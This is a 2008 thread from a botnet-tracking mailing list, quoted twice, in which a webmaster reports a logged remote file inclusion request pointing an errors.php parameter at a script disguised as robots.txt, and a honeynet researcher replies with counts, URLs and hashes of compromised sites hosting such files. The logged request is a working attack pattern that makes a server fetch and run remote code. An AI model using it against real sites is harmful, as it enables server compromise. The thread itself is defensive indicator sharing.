Re: [botnets] Nasty Botnet Trick

2008-01-19 Thread David Vorel
To report a botnet PRIVATELY please email: [EMAIL PROTECTED]
--Hi Bill,

i found these rows in our database.

count   linkmd5
521485.114.143.143/daisy/robots.txt 29805b87f90948a631ebc1156dd98db1

1997www.pack180.org/robots.txt  3afcdae81d1d2dfb58b96ec544dd43b6

311 www.fundacionosma.org/en/administrator/components/robots.txt
a6f0a039b1031c9971bed6b0e72fcf01

300 www.ideon.cz/jsme//robots.txt   5441eba9f154566cb31ba5c83048cb73

127 disco4u.net/images/robots.txt   a6f0a039b1031c9971bed6b0e72fcf01

106 reklama.vltrakt.ru/robots.txt   b022f8768ec7f8c8d49c7bca0c8af9ce

100 limbo.rentahost.ch/modules/robots.txt
2f21b5e4de94466cf041598d3bb6ff42

44  nadebor.com/robots.txt  38c15461f7a658407a4fe5607daedd86

38  pudzian.net/templates/robots.txt
328e491d1692e84304739d5b3b6d5a13

15  mycvgames.com/cvgames/netpbm/robots.txt
a6f0a039b1031c9971bed6b0e72fcf01

14  federalbureauofinvestigationclan.com/robots.txt
cb26d52edbab04e2486b833a4e3f8b73

13  pelle7.php-space.eu/TestFotos/robots.txt
b7a44f93bfb1f5bc72c116ccf264aa96

1   www.scsn.ch/contenido/robots.txt
b7a44f93bfb1f5bc72c116ccf264aa96


Best regards

David Vorel
http://www.honeynet.cz


On Fri, Jan 18, 2008 at 12:06:55PM -0600, William Atchison wrote:
 To report a botnet PRIVATELY please email: [EMAIL PROTECTED]
 --
 Saw this in yesterdays logs:
 83.133.96.246 GET //errors.php?error=http://www.thefalife.com/robots.txt???
 HTTP/1.0 libwww-perl/5.48
 
 I thought I'd seen everything but replacing the robots.txt file with their
 script is just nasty.
 
 Not only is the site hacked, but who knows how much damage they've just done 
 to
 the site's search engine rankings to boot.
 
 -- 
 Bill Atchison
 http://www.crawlwall.com
 
 
 
 
 
 
 ___
 To report a botnet PRIVATELY please email: [EMAIL PROTECTED]
 All list and server information are public and available to law enforcement 
 upon request.
 http://www.whitestar.linuxbox.org/mailman/listinfo/botnets


signature.asc
Description: Digital signature
___
To report a botnet PRIVATELY please email: [EMAIL PROTECTED]
All list and server information are public and available to law enforcement 
upon request.
http://www.whitestar.linuxbox.org/mailman/listinfo/botnets


[botnets] Nasty Botnet Trick

2008-01-18 Thread William Atchison
To report a botnet PRIVATELY please email: [EMAIL PROTECTED]
--
Saw this in yesterdays logs:
83.133.96.246 GET //errors.php?error=http://www.thefalife.com/robots.txt???
HTTP/1.0 libwww-perl/5.48

I thought I'd seen everything but replacing the robots.txt file with their
script is just nasty.

Not only is the site hacked, but who knows how much damage they've just done to
the site's search engine rankings to boot.

-- 
Bill Atchison
http://www.crawlwall.com






___
To report a botnet PRIVATELY please email: [EMAIL PROTECTED]
All list and server information are public and available to law enforcement 
upon request.
http://www.whitestar.linuxbox.org/mailman/listinfo/botnets